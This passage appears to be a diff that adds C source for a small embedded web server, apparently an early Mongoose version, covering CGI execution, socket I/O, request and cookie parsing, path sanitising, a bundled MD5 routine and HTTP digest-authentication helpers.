+		/* Parent */
+		send_error(conn, 500, http_500_error,
+		    "fork(): %s", strerror(ERRNO));
+	} else if (pid == 0) {
+		/* Child */
+		if (chdir(dir) != 0) {
+			cry(conn, "%s: chdir(%s): %s",
+			    __func__, dir, strerror(ERRNO));
+		} else if (dup2(fd_stdin, 0) == -1) {
+			cry(conn, "%s: dup2(stdin, %d): %s",
+			    __func__, fd_stdin, strerror(ERRNO));
+		} else if (dup2(fd_stdout, 1) == -1) {
+			cry(conn, "%s: dup2(stdout, %d): %s",
+			    __func__, fd_stdout, strerror(ERRNO));
+		} else {
+			(void) dup2(fd_stdout, 2);
+			(void) close(fd_stdin);
+			(void) close(fd_stdout);
+
+			/* Execute CGI program. No need to lock: new process */
+			interp = conn->ctx->options[OPT_CGI_INTERPRETER];
+			if (interp == NULL) {
+				(void) execle(prog, prog, NULL, envp);
+				cry(conn, "%s: execle(%s): %s",
+				    __func__, prog, strerror(ERRNO));
+			} else {
+				(void) execle(interp, interp, prog, NULL, envp);
+				cry(conn, "%s: execle(%s %s): %s",
+				    __func__, interp, prog, strerror(ERRNO));
+			}
+		}
+		exit(EXIT_FAILURE);
+	} else {
+		/* Parent. Close stdio descriptors */
+		(void) close(fd_stdin);
+		(void) close(fd_stdout);
+	}
+
+	return (pid);
+}
+#endif /* !NO_CGI */
+
+static int
+set_non_blocking_mode(struct mg_connection *conn, SOCKET sock)
+{
+	int	flags, ok = -1;
+
+	if ((flags = fcntl(sock, F_GETFL, 0)) == -1) {
+		cry(conn, "%s: fcntl(F_GETFL): %d", __func__, ERRNO);
+	} else if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) != 0) {
+		cry(conn, "%s: fcntl(F_SETFL): %d", __func__, ERRNO);
+	} else {
+		ok = 0;	/* Success */
+	}
+
+	return (ok);
+}
+#endif /* _WIN32 */
+
+/*
+ * Write data to the IO channel - opened file descriptor, socket or SSL
+ * descriptor. Return number of bytes written.
+ */
+static int64_t
+push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf, int64_t len)
+{
+	int64_t	sent;
+	int	n, k;
+
+	sent = 0;
+	while (sent < len) {
+
+		/* How many bytes we send in this iteration */
+		k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
+
+		if (ssl != NULL) {
+			n = SSL_write(ssl, buf + sent, k);
+		} else if (fp != NULL) {
+			n = fwrite(buf + sent, 1, k, fp);
+			if (ferror(fp))
+				n = -1;
+		} else {
+			n = send(sock, buf + sent, k, 0);
+		}
+
+		if (n < 0)
+			break;
+
+		sent += n;
+	}
+
+	return (sent);
+}
+
+/*
+ * Read from IO channel - opened file descriptor, socket, or SSL descriptor.
+ * Return number of bytes read.
+ */
+static int
+pull(FILE *fp, SOCKET sock, SSL *ssl, char *buf, int len)
+{
+	int	nread;
+
+	if (ssl != NULL) {
+		nread = SSL_read(ssl, buf, len);
+	} else if (fp != NULL) {
+		nread = fread(buf, 1, (size_t) len, fp);
+		if (ferror(fp))
+			nread = -1;
+	} else {
+		nread = recv(sock, buf, (size_t) len, 0);
+	}
+
+	return (nread);
+}
+
+int
+mg_write(struct mg_connection *conn, const void *buf, size_t len)
+{
+	return ((int) push(NULL, conn->client.sock, conn->ssl,
+				(const char *) buf, (int64_t) len));
+}
+
+int
+mg_printf(struct mg_connection *conn, const char *fmt, ...)
+{
+	char	buf[MAX_REQUEST_SIZE];
+	int	len;
+	va_list	ap;
+
+	va_start(ap, fmt);
+	len = mg_vsnprintf(conn, buf, sizeof(buf), fmt, ap);
+	va_end(ap);
+
+	return (mg_write(conn, buf, len));
+}
+
+/*
+ * Return content length of the request, or -1 constant if
+ * Content-Length header is not set.
+ */
+static int64_t
+get_content_length(const struct mg_connection *conn)
+{
+	const char *cl = mg_get_header(conn, "Content-Length");
+	return (cl == NULL ? -1 : strtoll(cl, NULL, 10));
+}
+
+/*
+ * URL-decode input buffer into destination buffer.
+ * 0-terminate the destination buffer. Return the length of decoded data.
+ * form-url-encoded data differs from URI encoding in a way that it
+ * uses '+' as character for space, see RFC 1866 section 8.2.1
+ * http://ftp.ics.uci.edu/pub/ietf/html/rfc1866.txt
+ */
+static size_t
+url_decode(const char *src, size_t src_len, char *dst, size_t dst_len,
+		bool_t is_form_url_encoded)
+{
+	size_t	i, j;
+	int	a, b;
+#define	HEXTOI(x)	(isdigit(x) ? x - '0' : x - 'W')
+
+	for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
+		if (src[i] == '%' &&
+		    isxdigit(* (unsigned char *) (src + i + 1)) &&
+		    isxdigit(* (unsigned char *) (src + i + 2))) {
+			a = tolower(* (unsigned char *) (src + i + 1));
+			b = tolower(* (unsigned char *) (src + i + 2));
+			dst[j] = ((HEXTOI(a) << 4) | HEXTOI(b)) & 0xff;
+			i += 2;
+		} else if (is_form_url_encoded && src[i] == '+') {
+			dst[j] = ' ';
+		} else {
+			dst[j] = src[i];
+		}
+	}
+
+	dst[j] = '\0';	/* Null-terminate the destination */
+
+	return (j);
+}
+
+/*
+ * Scan given buffer and fetch the value of the given variable.
+ * It can be specified in query string, or in the POST data.
+ * Return NULL if the variable not found, or allocated 0-terminated value.
+ * It is caller's responsibility to free the returned value.
+ */
+enum mg_error_t
+mg_get_var(const char *buf, size_t buf_len, const char *var_name,
+		char *var_value, size_t var_value_len)
+{
+	const char	*p, *e, *s;
+	char		*val;
+	size_t		var_len, len;
+	enum mg_error_t	ret_val;
+
+	var_len = strlen(var_name);
+	e = buf + buf_len;
+	val = NULL;
+	ret_val = MG_NOT_FOUND;
+	var_value[0] = '\0';
+
+	/* buf is "var1=val1&var2=val2...". Find variable first */
+	for (p = buf; p + var_len < e; p++)
+		if ((p == buf || p[-1] == '&') && p[var_len] == '=' &&
+		    !mg_strncasecmp(var_name, p, var_len)) {
+
+			/* Point p to variable value */
+			p += var_len + 1;
+
+			/* Point s to the end of the value */
+			s = (const char *) memchr(p, '&', e - p);
+			if (s == NULL)
+				s = e;
+
+			/* Try to allocate the buffer */
+			len = s - p;
+			if (len >= var_value_len) {
+				ret_val = MG_BUFFER_TOO_SMALL;
+			} else {
+				url_decode(p, len, var_value, len + 1, TRUE);
+				ret_val = MG_SUCCESS;
+			}
+			break;
+		}
+
+	return (ret_val);
+}
+
+enum mg_error_t
+mg_get_qsvar(const struct mg_request_info *ri, const char *var_name,
+		char *var_value, size_t var_value_len) {
+  return (ri->query_string == NULL ? MG_NOT_FOUND : mg_get_var(ri->query_string,
+        strlen(ri->query_string), var_name, var_value, var_value_len));
+}
+
+enum mg_error_t
+mg_get_cookie(const struct mg_connection *conn,
+		const char *cookie_name, char *dst, size_t dst_size)
+{
+	const char	*s, *p, *end;
+	int		len;
+
+	dst[0] = '\0';
+	if ((s = mg_get_header(conn, "Cookie")) == NULL)
+		return (MG_NOT_FOUND);
+
+	len = strlen(cookie_name);
+	end = s + strlen(s);
+
+	for (; (s = strstr(s, cookie_name)) != NULL; s += len)
+		if (s[len] == '=') {
+			s += len + 1;
+			if ((p = strchr(s, ' ')) == NULL)
+				p = end;
+			if (p[-1] == ';')
+				p--;
+			if (*s == '"' && p[-1] == '"' && p > s + 1) {
+				s++;
+				p--;
+			}
+			if ((size_t) (p - s) >= dst_size) {
+				return (MG_BUFFER_TOO_SMALL);
+			} else {
+				mg_strlcpy(dst, s, (p - s) + 1);
+				return (MG_SUCCESS);
+			}
+		}
+
+	return (MG_NOT_FOUND);
+}
+
+/*
+ * Transform URI to the file name.
+ */
+static void
+convert_uri_to_file_name(struct mg_connection *conn, const char *uri,
+		char *buf, size_t buf_len)
+{
+	struct mg_context	*ctx = conn->ctx;
+	struct vec		uri_vec, path_vec;
+	const char		*list;
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	mg_snprintf(conn, buf, buf_len, "%s%s", ctx->options[OPT_ROOT], uri);
+
+	/* If requested URI has aliased prefix, use alternate root */
+	list = ctx->options[OPT_ALIASES];
+
+	while ((list = next_option(list, &uri_vec, &path_vec)) != NULL) {
+		if (memcmp(uri, uri_vec.ptr, uri_vec.len) == 0) {
+			(void) mg_snprintf(conn, buf, buf_len, "%.*s%s",
+			    path_vec.len, path_vec.ptr, uri + uri_vec.len);
+			break;
+		}
+	}
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+#ifdef _WIN32
+	fix_directory_separators(buf);
+#endif /* _WIN32 */
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: [%s] -> [%s]", __func__, uri, buf));
+}
+
+/*
+ * Setup listening socket on given address, return socket.
+ * Address format: [local_ip_address:]port_number
+ */
+static SOCKET
+mg_open_listening_port(struct mg_context *ctx, const char *str, struct usa *usa)
+{
+	SOCKET		sock;
+	int		on = 1, a, b, c, d, port;
+
+	/* MacOS needs that. If we do not zero it, bind() will fail. */
+	(void) memset(usa, 0, sizeof(*usa));
+
+	if (sscanf(str, "%d.%d.%d.%d:%d", &a, &b, &c, &d, &port) == 5) {
+		/* IP address to bind to is specified */
+		usa->u.sin.sin_addr.s_addr =
+		    htonl((a << 24) | (b << 16) | (c << 8) | d);
+	} else if (sscanf(str, "%d", &port) == 1) {
+		/* Only port number is specified. Bind to all addresses */
+		usa->u.sin.sin_addr.s_addr = htonl(INADDR_ANY);
+	} else {
+		return (INVALID_SOCKET);
+	}
+
+	usa->len			= sizeof(usa->u.sin);
+	usa->u.sin.sin_family		= AF_INET;
+	usa->u.sin.sin_port		= htons((uint16_t) port);
+
+	if ((sock = socket(PF_INET, SOCK_STREAM, 6)) != INVALID_SOCKET &&
+	    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,
+	    (char *) &on, sizeof(on)) == 0 &&
+	    bind(sock, &usa->u.sa, usa->len) == 0 &&
+	    listen(sock, 20) == 0) {
+		/* Success */
+		set_close_on_exec(sock);
+	} else {
+		/* Error */
+		cry(fc(ctx), "%s(%d): %s", __func__, port, strerror(ERRNO));
+		if (sock != INVALID_SOCKET)
+			(void) closesocket(sock);
+		sock = INVALID_SOCKET;
+	}
+
+	return (sock);
+}
+
+/*
+ * Check whether full request is buffered. Return:
+ *   -1         if request is malformed
+ *    0         if request is not yet fully buffered
+ *   >0         actual request length, including last \r\n\r\n
+ */
+static int
+get_request_len(const char *buf, size_t buflen)
+{
+	const char	*s, *e;
+	int		len = 0;
+
+	for (s = buf, e = s + buflen - 1; len <= 0 && s < e; s++)
+		/* Control characters are not allowed but >=128 is. */
+		if (!isprint(* (unsigned char *) s) && *s != '\r' &&
+		    *s != '\n' && * (unsigned char *) s < 128)
+			len = -1;
+		else if (s[0] == '\n' && s[1] == '\n')
+			len = (int) (s - buf) + 2;
+		else if (s[0] == '\n' && &s[1] < e &&
+		    s[1] == '\r' && s[2] == '\n')
+			len = (int) (s - buf) + 3;
+
+	return (len);
+}
+
+/*
+ * Convert month to the month number. Return -1 on error, or month number
+ */
+static int
+montoi(const char *s)
+{
+	size_t	i;
+
+	for (i = 0; i < sizeof(month_names) / sizeof(month_names[0]); i++)
+		if (!strcmp(s, month_names[i]))
+			return ((int) i);
+
+	return (-1);
+}
+
+/*
+ * Parse date-time string, and return the corresponding time_t value
+ */
+static time_t
+date_to_epoch(const char *s)
+{
+	time_t		current_time;
+	struct tm	tm, *tmp;
+	char		mon[32];
+	int		sec, min, hour, mday, month, year;
+
+	(void) memset(&tm, 0, sizeof(tm));
+	sec = min = hour = mday = month = year = 0;
+
+	if (((sscanf(s, "%d/%3s/%d %d:%d:%d",
+	    &mday, mon, &year, &hour, &min, &sec) == 6) ||
+	    (sscanf(s, "%d %3s %d %d:%d:%d",
+	    &mday, mon, &year, &hour, &min, &sec) == 6) ||
+	    (sscanf(s, "%*3s, %d %3s %d %d:%d:%d",
+	    &mday, mon, &year, &hour, &min, &sec) == 6) ||
+	    (sscanf(s, "%d-%3s-%d %d:%d:%d",
+	    &mday, mon, &year, &hour, &min, &sec) == 6)) &&
+	    (month = montoi(mon)) != -1) {
+		tm.tm_mday	= mday;
+		tm.tm_mon	= month;
+		tm.tm_year	= year;
+		tm.tm_hour	= hour;
+		tm.tm_min	= min;
+		tm.tm_sec	= sec;
+	}
+
+	if (tm.tm_year > 1900)
+		tm.tm_year -= 1900;
+	else if (tm.tm_year < 70)
+		tm.tm_year += 100;
+
+	/* Set Daylight Saving Time field */
+	current_time = time(NULL);
+	tmp = localtime(&current_time);
+	tm.tm_isdst = tmp->tm_isdst;
+
+	return (mktime(&tm));
+}
+
+/*
+ * Protect against directory disclosure attack by removing '..',
+ * excessive '/' and '\' characters
+ */
+static void
+remove_double_dots_and_double_slashes(char *s)
+{
+	char	*p = s;
+
+	while (*s != '\0') {
+		*p++ = *s++;
+		if (s[-1] == '/' || s[-1] == '\\') {
+			/* Skip all following slashes and backslashes */
+			while (*s == '/' || *s == '\\')
+				s++;
+
+			/* Skip all double-dots */
+			while (*s == '.' && s[1] == '.')
+				s += 2;
+		}
+	}
+	*p = '\0';
+}
+
+/*
+ * Built-in mime types
+ */
+static const struct {
+	const char	*extension;
+	size_t		ext_len;
+	const char	*mime_type;
+	size_t		mime_type_len;
+} mime_types[] = {
+	{".html",	5,	"text/html",			9},
+	{".htm",	4,	"text/html",			9},
+	{".shtm",	5,	"text/html",			9},
+	{".shtml",	6,	"text/html",			9},
+	{".css",	4,	"text/css",			8},
+	{".js",		3,	"application/x-javascript",	24},
+	{".ico",	4,	"image/x-icon",			12},
+	{".gif",	4,	"image/gif",			9},
+	{".jpg",	4,	"image/jpeg",			10},
+	{".jpeg",	5,	"image/jpeg",			10},
+	{".png",	4,	"image/png",			9},
+	{".svg",	4,	"image/svg+xml",		13},
+	{".torrent",	8,	"application/x-bittorrent",	24},
+	{".wav",	4,	"audio/x-wav",			11},
+	{".mp3",	4,	"audio/x-mp3",			11},
+	{".mid",	4,	"audio/mid",			9},
+	{".m3u",	4,	"audio/x-mpegurl",		15},
+	{".ram",	4,	"audio/x-pn-realaudio",		20},
+	{".xml",	4,	"text/xml",			8},
+	{".xslt",	5,	"application/xml",		15},
+	{".ra",		3,	"audio/x-pn-realaudio",		20},
+	{".doc",	4,	"application/msword",		19},
+	{".exe",	4,	"application/octet-stream",	24},
+	{".zip",	4,	"application/x-zip-compressed",	28},
+	{".xls",	4,	"application/excel",		17},
+	{".tgz",	4,	"application/x-tar-gz",		20},
+	{".tar",	4,	"application/x-tar",		17},
+	{".gz",		3,	"application/x-gunzip",		20},
+	{".arj",	4,	"application/x-arj-compressed",	28},
+	{".rar",	4,	"application/x-arj-compressed",	28},
+	{".rtf",	4,	"application/rtf",		15},
+	{".pdf",	4,	"application/pdf",		15},
+	{".swf",	4,	"application/x-shockwave-flash",29},
+	{".mpg",	4,	"video/mpeg",			10},
+	{".mpeg",	5,	"video/mpeg",			10},
+	{".asf",	4,	"video/x-ms-asf",		14},
+	{".avi",	4,	"video/x-msvideo",		15},
+	{".bmp",	4,	"image/bmp",			9},
+	{NULL,		0,	NULL,				0}
+};
+
+/*
+ * Look at the "path" extension and figure what mime type it has.
+ * Store mime type in the vector.
+ */
+static void
+get_mime_type(struct mg_context *ctx, const char *path, struct vec *vec)
+{
+	struct vec	ext_vec, mime_vec;
+	const char	*list, *ext;
+	size_t		i, path_len;
+
+	path_len = strlen(path);
+
+	/*
+	 * Scan user-defined mime types first, in case user wants to
+	 * override default mime types.
+	 */
+	(void) pthread_rwlock_rdlock(&ctx->rwlock);
+	list = ctx->options[OPT_MIME_TYPES];
+	while ((list = next_option(list, &ext_vec, &mime_vec)) != NULL) {
+		/* ext now points to the path suffix */
+		ext = path + path_len - ext_vec.len;
+		if (mg_strncasecmp(ext, ext_vec.ptr, ext_vec.len) == 0) {
+			*vec = mime_vec;
+			(void) pthread_rwlock_unlock(&ctx->rwlock);
+			return;
+		}
+	}
+	(void) pthread_rwlock_unlock(&ctx->rwlock);
+
+	/* Now scan built-in mime types */
+	for (i = 0; mime_types[i].extension != NULL; i++) {
+		ext = path + (path_len - mime_types[i].ext_len);
+		if (path_len > mime_types[i].ext_len &&
+		    mg_strcasecmp(ext, mime_types[i].extension) == 0) {
+			vec->ptr = mime_types[i].mime_type;
+			vec->len = mime_types[i].mime_type_len;
+			return;
+		}
+	}
+
+	/* Nothing found. Fall back to text/plain */
+	vec->ptr = "text/plain";
+	vec->len = 10;
+}
+
+#ifndef HAVE_MD5
+typedef struct MD5Context {
+	uint32_t	buf[4];
+	uint32_t	bits[2];
+	unsigned char	in[64];
+} MD5_CTX;
+
+#if __BYTE_ORDER == 1234
+#define byteReverse(buf, len)	/* Nothing */
+#else
+/*
+ * Note: this code is harmless on little-endian machines.
+ */
+static void
+byteReverse(unsigned char *buf, unsigned longs)
+{
+	uint32_t t;
+	do {
+		t = (uint32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 |
+			((unsigned) buf[1] << 8 | buf[0]);
+		*(uint32_t *) buf = t;
+		buf += 4;
+	} while (--longs);
+}
+#endif /* __BYTE_ORDER */
+
+/* The four core functions - F1 is optimized somewhat */
+
+/* #define F1(x, y, z) (x & y | ~x & z) */
+#define F1(x, y, z) (z ^ (x & (y ^ z)))
+#define F2(x, y, z) F1(z, x, y)
+#define F3(x, y, z) (x ^ y ^ z)
+#define F4(x, y, z) (y ^ (x | ~z))
+
+/* This is the central step in the MD5 algorithm. */
+#define MD5STEP(f, w, x, y, z, data, s) \
+( w += f(x, y, z) + data,  w = w<<s | w>>(32-s),  w += x )
+
+/*
+ * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
+ * initialization constants.
+ */
+static void
+MD5Init(MD5_CTX *ctx)
+{
+	ctx->buf[0] = 0x67452301;
+	ctx->buf[1] = 0xefcdab89;
+	ctx->buf[2] = 0x98badcfe;
+	ctx->buf[3] = 0x10325476;
+
+	ctx->bits[0] = 0;
+	ctx->bits[1] = 0;
+}
+
+/*
+ * The core of the MD5 algorithm, this alters an existing MD5 hash to
+ * reflect the addition of 16 longwords of new data.  MD5Update blocks
+ * the data and converts bytes into longwords for this routine.
+ */
+static void
+MD5Transform(uint32_t buf[4], uint32_t const in[16])
+{
+	register uint32_t a, b, c, d;
+
+	a = buf[0];
+	b = buf[1];
+	c = buf[2];
+	d = buf[3];
+
+	MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
+	MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
+	MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
+	MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
+	MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
+	MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
+	MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
+	MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
+	MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
+	MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
+	MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
+	MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
+	MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
+	MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
+	MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
+	MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
+
+	MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
+	MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
+	MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
+	MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
+	MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
+	MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
+	MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
+	MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
+	MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
+	MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
+	MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
+	MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
+	MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
+	MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
+	MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
+	MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
+
+	MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
+	MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
+	MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
+	MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
+	MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
+	MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
+	MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
+	MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
+	MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
+	MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
+	MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
+	MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
+	MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
+	MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
+	MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
+	MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
+
+	MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
+	MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
+	MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
+	MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
+	MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
+	MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
+	MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
+	MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
+	MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
+	MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
+	MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
+	MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
+	MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
+	MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
+	MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
+	MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
+
+	buf[0] += a;
+	buf[1] += b;
+	buf[2] += c;
+	buf[3] += d;
+}
+
+/*
+ * Update context to reflect the concatenation of another buffer full
+ * of bytes.
+ */
+static void
+MD5Update(MD5_CTX *ctx, unsigned char const *buf, unsigned len)
+{
+	uint32_t t;
+
+	/* Update bitcount */
+
+	t = ctx->bits[0];
+	if ((ctx->bits[0] = t + ((uint32_t) len << 3)) < t)
+		ctx->bits[1]++;		/* Carry from low to high */
+	ctx->bits[1] += len >> 29;
+
+	t = (t >> 3) & 0x3f;	/* Bytes already in shsInfo->data */
+
+	/* Handle any leading odd-sized chunks */
+
+	if (t) {
+		unsigned char *p = (unsigned char *) ctx->in + t;
+
+		t = 64 - t;
+		if (len < t) {
+			memcpy(p, buf, len);
+			return;
+		}
+		memcpy(p, buf, t);
+		byteReverse(ctx->in, 16);
+		MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+		buf += t;
+		len -= t;
+	}
+	/* Process data in 64-byte chunks */
+
+	while (len >= 64) {
+		memcpy(ctx->in, buf, 64);
+		byteReverse(ctx->in, 16);
+		MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+		buf += 64;
+		len -= 64;
+	}
+
+	/* Handle any remaining bytes of data. */
+
+	memcpy(ctx->in, buf, len);
+}
+
+/*
+ * Final wrapup - pad to 64-byte boundary with the bit pattern
+ * 1 0* (64-bit count of bits processed, MSB-first)
+ */
+static void
+MD5Final(unsigned char digest[16], MD5_CTX *ctx)
+{
+	unsigned count;
+	unsigned char *p;
+
+	/* Compute number of bytes mod 64 */
+	count = (ctx->bits[0] >> 3) & 0x3F;
+
+	/* Set the first char of padding to 0x80.  This is safe since there is
+	   always at least one byte free */
+	p = ctx->in + count;
+	*p++ = 0x80;
+
+	/* Bytes of padding needed to make 64 bytes */
+	count = 64 - 1 - count;
+
+	/* Pad out to 56 mod 64 */
+	if (count < 8) {
+		/* Two lots of padding:  Pad the first block to 64 bytes */
+		memset(p, 0, count);
+		byteReverse(ctx->in, 16);
+		MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+
+		/* Now fill the next block with 56 bytes */
+		memset(ctx->in, 0, 56);
+	} else {
+		/* Pad block to 56 bytes */
+		memset(p, 0, count - 8);
+	}
+	byteReverse(ctx->in, 14);
+
+	/* Append length in bits and transform */
+	((uint32_t *) ctx->in)[14] = ctx->bits[0];
+	((uint32_t *) ctx->in)[15] = ctx->bits[1];
+
+	MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+	byteReverse((unsigned char *) ctx->buf, 4);
+	memcpy(digest, ctx->buf, 16);
+	memset((char *) ctx, 0, sizeof(ctx));	/* In case it's sensitive */
+}
+#endif /* !HAVE_MD5 */
+
+/*
+ * Stringify binary data. Output buffer must be twice as big as input,
+ * because each byte takes 2 bytes in string representation
+ */
+static void
+bin2str(char *to, const unsigned char *p, size_t len)
+{
+	static const char *hex = "0123456789abcdef";
+
+	for (; len--; p++) {
+		*to++ = hex[p[0] >> 4];
+		*to++ = hex[p[0] & 0x0f];
+	}
+	*to = '\0';
+}
+
+/*
+ * Return stringified MD5 hash for list of vectors.
+ * buf must point to 33-bytes long buffer
+ */
+static void
+mg_md5(char *buf, ...)
+{
+	unsigned char	hash[16];
+	const char	*p;
+	va_list		ap;
+	MD5_CTX		ctx;
+
+	MD5Init(&ctx);
+
+	va_start(ap, buf);
+	while ((p = va_arg(ap, const char *)) != NULL)
+		MD5Update(&ctx, (unsigned char *) p, (int) strlen(p));
+	va_end(ap);
+
+	MD5Final(hash, &ctx);
+	bin2str(buf, hash, sizeof(hash));
+}
+
+/*
+ * Check the user's password, return 1 if OK
+ */
+static bool_t
+check_password(const char *method, const char *ha1, const char *uri,
+		const char *nonce, const char *nc, const char *cnonce,
+		const char *qop, const char *response)
+{
+	char	ha2[32 + 1], expected_response[32 + 1];
+
+	/* XXX  Due to a bug in MSIE, we do not compare the URI	 */
+	/* Also, we do not check for authentication timeout */
+	if (/*strcmp(dig->uri, c->ouri) != 0 || */
+	    strlen(response) != 32 /*||
+	    now - strtoul(dig->nonce, NULL, 10) > 3600 */)
+		return (FALSE);
+
+	mg_md5(ha2, method, ":", uri, NULL);
+	mg_md5(expected_response, ha1, ":", nonce, ":", nc,
+	    ":", cnonce, ":", qop, ":", ha2, NULL);
+
+	return (mg_strcasecmp(response, expected_response) == 0);
+}
+
+/*
+ * Use the global passwords file, if specified by auth_gpass option,
+ * or search for .htpasswd in the requested directory.
+ */
+static FILE *
+open_auth_file(struct mg_connection *conn, const char *path)
+{
+	struct mg_context	*ctx = conn->ctx;
+	char 			name[FILENAME_MAX];
+	const char		*p, *e;
+	struct mgstat		st;
+	FILE			*fp;
+
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	if (ctx->options[OPT_AUTH_GPASSWD] != NULL) {
+		/* Use global passwords file */
+		fp =  mg_fopen(ctx->options[OPT_AUTH_GPASSWD], "r");
+		if (fp == NULL)
+			cry(fc(ctx), "fopen(%s): %s",
+			    ctx->options[OPT_AUTH_GPASSWD], strerror(ERRNO));
+	} else if (!mg_stat(path, &st) && st.is_directory) {
+		(void) mg_snprintf(conn, name, sizeof(name), "%s%c%s",
+		    path, DIRSEP, PASSWORDS_FILE_NAME);
+		fp = mg_fopen(name, "r");
+	} else {
+		/*
+		 * Try to find .htpasswd in requested directory.
+		 * Given the path, create the path to .htpasswd file
+		 * in the same directory. Find the right-most
+		 * directory separator character first. That would be the
+		 * directory name. If directory separator character is not
+		 * found, 'e' will point to 'p'.
+		 */
+		for (p = path, e = p + strlen(p) - 1; e > p; e--)
+			if (IS_DIRSEP_CHAR(*e))
+				break;
+
+		/*
+		 * Make up the path by concatenating directory name and
+		 * .htpasswd file name.
+		 */
+		(void) mg_snprintf(conn, name, sizeof(name), "%.*s%c%s",
+		    (int) (e - p), p, DIRSEP, PASSWORDS_FILE_NAME);
+		fp = mg_fopen(name, "r");
+	}
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	return (fp);
+}
+
+/*
+ * Parsed Authorization: header
+ */
+struct ah {
+	char	*user, *uri, *cnonce, *response, *qop, *nc, *nonce;
+};
+
+static bool_t
+parse_auth_header(struct mg_connection *conn, char *buf, size_t buf_size,
+		struct ah *ah)
+{
+	char		*name, *value, *s;
+	const char	*auth_header;
+
+	if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
+	    mg_strncasecmp(auth_header, "Digest ", 7) != 0)
+		return (FALSE);
+
+	/* Make modifiable copy of the auth header */
+	(void) mg_strlcpy(buf, auth_header + 7, buf_size);
+
+	s = buf;
+	(void) memset(ah, 0, sizeof(*ah));
+
+	/* Gobble initial spaces */
